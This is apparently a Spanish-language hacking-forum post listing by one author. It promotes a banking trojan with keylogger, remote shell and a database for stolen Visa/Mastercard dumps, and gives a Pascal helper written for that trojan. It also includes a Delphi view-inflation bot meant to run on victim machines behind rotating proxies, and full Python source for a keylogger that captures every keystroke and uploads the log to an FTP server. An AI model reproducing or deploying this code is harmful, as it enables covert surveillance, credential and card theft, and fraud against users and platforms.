Otros: Peso del servidor total: 464kb Buen rendimiento y estabilidad. Funciones futuras que se agregaran: DB mas grande, Gathering(mas exacta del sistema) incluso país y ciudad, Lista de procesos mas amplía, canal de IRC mas grande y Botnet (que ya estoy haciendo) y todo con comandos incluidos, +WORMS, UninstallMe(desinstala el troyano y borra huellas), MAS ideas por favor comentar. Sobre el spreading: Así como algunos otros algoritmos que publique, este lo pueden encontrar en http://foro.elhacker.net/scripting/spreader_en_pascalaporte-t388031.0.html lo mismo debo decir de las funciones y procedures del troyano que tambien programe y pronto publicare una DLL que estoy haciendo. Sobre el sistema de DATABASE: esto es para que si tienen dumps de visa, mastercard , etc. Puedan guardar su propia database, borrar, buscar... Aun no esta terminada, ya que no es tan grande como la que estoy programando en Firebird, espero publicar pronto mas avances... Algunas imagenes: InfectadosSistemaControlKeyloggerShellIRCSnapshotGrabar pantallaProcesosDatabasePeso del server 464kb:
|
|
|
8
|
Programación / Programación General / funcion ExtractString [pascal].
|
en: 26 Abril 2013, 11:56 am
|
Saludos! Bueno hace no mucho empece a programar un troyano bancario en delphi 7(que pronto publicare...), tenia un problema y era que usando los sockets tenia que extraer determinados strings de parametros defectuosos (desde - hasta)... Así nació esta funcion la cual es muy útil usada ya sea en APIS hasta en tareas triviales como las que acabo de describir. Aquí el código: {$Optimization On} {/*************************************\} { ExtractString Function @por WarZ0n3 } {\*************************************/} { Explicación: } { Esta funcion es utilizada para extraer} { un string de una cadena determinada. } { Funcion muy util para rutinas de } { programación en sockets... } {\*************************************/} { Mode de uso: } { Los parametros son los siguientes: } { __ExtractString( } { ListaDeStrings, Char(desde), } { string(Palabra), Char(hasta) } { ); } {/*************************************\} { Ejemplo: } { __ExtractString(lStr, '&', '@%&Hola Mundo|#$', '|'); } { Devuelve: Hola Mundo } {\*************************************/} function __ExtractString(lStr:TStringList; from_s:Char; ExtractStr:string; to_s:Char): string; var reverse : integer; PosStr : integer; CpyStr : string; StrRip : string; sNull : string; begin reverse:= LastDelimiter(to_s, pChar(ExtractStr)); SetLength(ExtractStr, reverse); PosStr:= Pos(from_s, pChar(ExtractStr)); CpyStr:= Copy(pChar(ExtractStr), PosStr+$1, reverse); StrRip:= StringReplace(CpyStr, to_s, sNull, [rfReplaceAll, rfIgnoreCase]); lStr.Add(StrRip); end; { ***Ejemplo de uso en un Button1 del Form*** } procedure TForm1.Button1Click(Sender: TObject); var lStr:TSTRINGLIST; begin lStr:= TstringList.Create; { Llamada de la función } __ExtractString(lStr, '&', '@%&HOLA_MUNDO|#$', '|'); { Ejemplo de uso } ShowMessage(lStr.GetText); end; end.
|
|
|
9
|
Programación / Programación General / Robot publicitario en pascal R-WEB [Aporte], (Aumenta tus visitas!)
|
en: 17 Abril 2013, 17:39 pm
|
Saludos... He decidido publicar un código que programe en pascal, ya no lo uso así que tengo la esperanza de que a alguien le sirva... Si no entendieron el modo de uso, seré mas especifico: Una vez compilado el ejecutable, en modo ms-dos navegan hasta la ruta del .EXE y los argumentos son: nombredelrobot -h www.youtube.com/mivideoaAumentar -t tiempo en segundos en el que la visita incrementara. Ej: rweb -h www.youtube.com/wekrjwerh -t 3 Si comentan por lo menos 4 personas haré un tutorial de como usarlo, para aumentar masivamente, anonimisarze y optimizar el código.. Ademas lo automatizaremos de tal modo que al pasarlo a la maquina victima esta se convierta en un robot publicitario. Explicación:Lo que hace este robot es aumentar las visitas de tu pagina web, video de youtube, facebook, etc...Aunque hay una pequeña cuestión que resolver, y es que youtube (por lo que he visto) cuenta 1 vez por IP, ¿como resolvemos esto?, FACIL!!! usamos un proxy, como proxychains que cambie cada 'x' segundos la IP y de esta manera automatizamos los views anonimamente. Aquí el codigo (echo en delphi 7, modo aplicación de consola): uses SysUtils, WinInet, Windows, IdHash, IdHashMessageDigest; {/*************************************\} { R-WEB @por WarZ0n3 } {\*************************************/} { Explicación: } { Este robot . Aumenta los views de tu } { pagina web, facebook,Youtube,etc... } { (Para aumentar las visitas mas } { rapidamente. En sitios como youtube } { es necesario usar un proxy.) } {\*************************************/} { Modo de uso: } { los parametros son los siguentes. } { -h <sitio> -t <Intervalo en segundos> } {/*************************************\} { Ejemplo: } { -h www.youtube.com/mivideo -t 2 } {/*************************************\} function __rINET(URL:string; secs:string): boolean; const rnd: array[0..5] of Char=('A','B','C','D','E','F'); var hINET : HINTERNET; hURL : HINTERNET; Buff : Array[1..1024] of byte; BuffLen : DWORD; tHash : string; i : integer; md5 : TIdHashMessageDigest5; hash : T4x4LongWordRecord; begin ZeroMemory(@Buff, SizeOf(Buff)); md5:= TIdHashMessageDigest5.Create; Result:=TRUE; tHash:=''; for i:= 0 to length(rnd)-1 do begin Randomize; tHash:= tHash+Chr(Random(ord(rnd[i])+1)); end; hINET:= InternetOpen(pChar(md5.AsHex(md5.HashValue(tHash))), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); hURL:= InternetOpenUrl(hINET, pChar(URL), nil, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP); sleep(StrToInt(secs)*1000); internetCloseHandle(hINET); internetCloseHandle(hURL); md5.Free; end; function StartsWithCmd(sParam:string):boolean; var i : integer; delim :string; begin Result:=FALSE; delim:='-'; for i:=1 to ParamCount do begin sParam:= ParamStr(i); if (delim=sParam[i]) then begin Result:=TRUE; end; end; end; var rURL : string; cont : Integer; begin cont:=0; if StartsWithCmd('-h') then begin if ParamStr(3)='-t' then begin While TRUE do begin if __rINET( 'http://'+ParamStr(2), ParamStr(4) ) then begin INC(cont); rURL:= ParamStr(2); WriteLn('[Servidor visitado]: ', rURL + #13#10+'[Numero de veces]: ', cont); end else begin WriteLn('Se ha producido un error en la conexion..'); end; end; end; end; end.
|
|
|
10
|
Programación / Scripting / Keylogger en python(con win32api)[APORTE]
|
en: 16 Abril 2013, 14:57 pm
|
Saludos a toda la comunidad. Hoy les traigo un keylogger que programe en python 2.7 usando win32api, funciona vía FTP, y reconoce mayusculas y minusculas. El código es muy simple y lo aporto con la esperanza de que alguien pueda aprender algo de este versátil lenguaje. La explicación esta en la descripción... Si tiene alguna duda pregunten! COMENTEN y gracias!!. #******************************************# # Pylogger @por WarZ0n3 # #******************************************# # Explicacion: # # Pylogger funciona via FTP para poder # # usarlo deben de tener su propio servidor # # FTP ya sea casero. O en un Hosting... # # Nota: tambien reconoce minusculas # # mayusculas # #******************************************# # Configuracion y uso: # # Pulsaciones : el numero de pulsaciones # # que se cumpliran hasta enviarlo por FTP. # # ftp_servidor: Tu servidor FTP. # # ftp_user : Tu usuario. # # ftp_pass : Tu contraseña. # # logs : archivo en donde se guarda-# # ran las pulsaciones(tambien puede ser # # referido por ruta EJ: 'C/logs.txt' ) # #******************************************# # -*- coding: utf-8 -*- # !usr/bin/python import win32api, ftplib, os, sys # __Variables__ global Ok Ok = False # CONFIGURACION # pulsaciones= 55 ftp_servidor= 'ftp.tuserver.com' ftp_user= 'usuario' ftp_pass= 'pass' logs= 'lg56.txt' def __larc(): try: l= open(logs, 'w').write('') l.close() Keylogger() except: Keylogger() def __cFTP(): f= ftplib.FTP(ftp_servidor, ftp_user, ftp_pass) try: fichero= open(logs, 'rb+') f.storbinary('STOR'+ ' ' +logs, fichero) print f.storbinary f.close() f.quit() __larc() except: __larc() def __comp(): if os.path.isfile(logs): tam = os.path.getsize(logs) bytes = 1024 result = (tam<bytes and 'Bytes' or [(tam<bytes*1000 and 'KB' or [(tam<bytes*1000000 and 'MB' or 'GB')[0]])[0]][0]) if tam==pulsaciones: __cFTP() def Keylogger(): try: while True: fo= open(logs, 'a+') for k in range(0, 256): key= win32api.GetAsyncKeyState(k) if key == -32767: # si es presionada if k == 20: global Ok Ok = True print "Mayus" fo.write('(Mayus)') if k == 20 and MON is True: Ok= False MON= Ok if k == 81 and MON is False: print "q" fo.write('q') if k == 81 and MON is True: print "Q" fo.write('Q') if k == 87 and MON is False: print "w" fo.write('w') if k == 87 and MON is True: print "W" fo.write('W') if k == 69 and MON is False: print "e" fo.write('e') if k == 69 and MON is True: print "E" fo.write('E') if k == 82 and MON is False: print "r" fo.write('r') if k == 82 and MON is True: print "R" fo.write('R') if k == 84 and MON is False: print "t" fo.write('t') if k == 84 and MON is True: print "T" fo.write('T') if k == 89 and MON is False: print "y" fo.write('y') if k == 89 and MON is True: print "Y" fo.write('Y') if k == 85 and MON is False: print "u" fo.write('u') if k == 85 and MON is True: print "U" fo.write('U') if k == 73 and MON is False: print "i" fo.write('i') if k == 73 and MON is True: print "I" fo.write('I') if k == 79 and MON is False: print "o" fo.write('o') if k == 79 and MON is True: print "O" fo.write('O') if k == 80 and MON is False: print "p" fo.write('p') if k == 80 and MON is True: print "P" fo.write('P') if k == 65 and MON is False: print "a" fo.write('a') if k == 65 and MON is True: print "A" fo.write('A') if k == 83 and MON is False: print "s" fo.write('s') if k == 83 and MON is True: print "S" fo.write('S') if k == 68 and MON is False: print "d" fo.write('d') if k == 68 and MON is True: print "D" fo.write('D') if k == 70 and MON is False: print "f" fo.write('f') if k == 70 and MON is True: print "F" fo.write('F') if k == 71 and MON is False: print "g" fo.write('g') if k == 71 and MON is True: print "G" fo.write('G') if k == 72 and MON is False: print "h" fo.write('h') if k == 72 and MON is True: print "H" fo.write('H') if k == 74 and MON is False: print "j" fo.write('j') if k == 74 and MON is True: print "J" fo.write('J') if k == 75 and MON is False: print "k" fo.write('k') if k == 75 and MON is True: print "K" fo.write('K') if k == 76 and MON is False: print "l" fo.write('l') if k == 76 and MON is True: print "L" fo.write('L') if k == 90 and MON is False: print "z" fo.write('z') if k == 90 and MON is True: print "Z" fo.write('Z') if k == 88 and MON is False: print "x" fo.write('x') if k == 88 and MON is True: print "X" fo.write('X') if k == 67 and MON is False: print "c" fo.write('c') if k == 67 and MON is True: print "C" fo.write('C') if k == 86 and MON is False: print "v" fo.write('v') if k == 86 and MON is True: print "V" fo.write('V') if k == 66 and MON is False: print "b" fo.write('b') if k == 66 and MON is True: print "B" fo.write('B') if k == 78 and MON is False: print "n" fo.write('n') if k == 78 and MON is True: print "N" fo.write('N') if k == 77 and MON is False: print "m" fo.write('m') if k == 77 and MON is True: print "M" fo.write('M') if k == 48: print "0" , fo.write('0') if k == 49: print "1" , fo.write('1') if k == 50: print "2" , fo.write('2') if k == 51: print "3" , fo.write('3') if k == 52: print "4" , fo.write('4') if k == 53: print "5" , fo.write('5') if k == 54: print "6" , fo.write('6') if k == 55: print "7" , fo.write('7') if k == 56: print "8" , fo.write('8') if k == 57: print "9" , fo.write('9') if k == 226: print "<" , fo.write('<') if k == 219: print "'" , fo.write("'") if k == 221: print "¡" , fo.write('¡') if k == 222: print "Ž" , fo.write('ŽŽ') if k == 220: print "º" , fo.write('º') if k == 186: print "`" , fo.write('``') if k == 187: print "+" , fo.write('+') if k == 191: print "ç" , fo.write('ç') if k == 189: print "-" , fo.write('-') if k == 190: print "." , fo.write('.') if k == 188: print "," , fo.write(',') #if k == 2: print "Click_D" , fo.write('(Click_D)') #if k == 1: print "Click_I" , fo.write('(Click_I)') if k == 27: print "Esc" , fo.write('(Esc)') if k == 8: print "Back" , fo.write('(Back)') if k == 91: print "Windows_I" , fo.write('(Windows_I)') if k == 92: print "Windows_D" , fo.write('(Windows_D)') if k == 93: print "Command" , fo.write('(Command)') if k == 144: print "BloqNum" , fo.write('(BloqNum)') if k == 145: print "BloqDespl" , fo.write('(BloqDespl)') if k == 32: print "Space" , fo.write('(Space)') if k == 9: print "TAB" , fo.write('(TAB)') if k == 45: print "Insert" , fo.write('(Insert)') if k == 17: print "Ctrl" , fo.write('(Ctrl)') if k == 18: print "Alt" , fo.write('(Alt)') if k == 13: print "Enter" , fo.write('(Enter)') if k == 16: print "Shift" , fo.write('(Shift)') if k == 39: print "RIGHT" , fo.write('(RIGHT)') if k == 38: print "UP" , fo.write('(UP)') if k == 37: print "LEFT" , fo.write('(LEFT)') if k == 40: print "DOWN" , fo.write('(DOWN)') if k == 36: print "Inicio" , fo.write('(Inicio)') if k == 35: print "Fin" , fo.write('(Fin)') if k == 34: print "AvPag" , fo.write('(AvPag)') if k == 33: print "RePag" , fo.write('(RePag)') if k == 44: print "ImprPantPetSis" , fo.write('(ImprPantPetSis)') if k == 46: print "Supr" , fo.write('(Supr)') if k == 96: print "KPAD_0" , fo.write('(KPAD_0)') if k == 97: print "KPAD_1" , fo.write('(KPAD_1)') if k == 98: print "KPAD_2" , fo.write('(KPAD_2)') if k == 99: print "KPAD_3" , fo.write('(KPAD_3)') if k == 100: print "KPAD_4" , fo.write('(KPAD_4)') if k == 101: print "KPAD_5" , fo.write('(KPAD_5)') if k == 102: print "KPAD_6" , fo.write('(KPAD_6)') if k == 103: print "KPAD_7" , fo.write('(KPAD_7)') if k == 104: print "KPAD_8" , fo.write('(KPAD_8)') if k == 105: print "KPAD_9" , fo.write('(KPAD_9)') if k == 106: print "KPAD_*" , fo.write('(KPAD_*)') if k == 107: print "KPAD_+" , fo.write('(KPAD_+)') if k == 109: print "KPAD_-" , fo.write('(KPAD_-)') if k == 110: print "KPAD_." , fo.write('(KPAD_.)') if k == 111: print "KPAD_/" , fo.write('(KPAD_/)') if k == 112: print "F1" , fo.write('(F1)') if k == 113: print "F2" , fo.write('(F2)') if k == 114: print "F3" , fo.write('(F3)') if k == 115: print "F4" , fo.write('(F4)') if k == 116: print "F5" , fo.write('(F5)') if k == 117: print "F6" , fo.write('(F6)') if k == 118: print "F7" , fo.write('(F7)') if k == 119: print "F8" , fo.write('(F8)') if k == 120: print "F9" , fo.write('(F9)') if k == 121: print "F10" , fo.write('(F10)') if k == 122: print "F11" , fo.write('(F11)') if k == 123: print "F12" , fo.write('(F12)') __comp() except KeyboardInterrupt: Keylogger() Keylogger()
|
|
|
|
|
|
|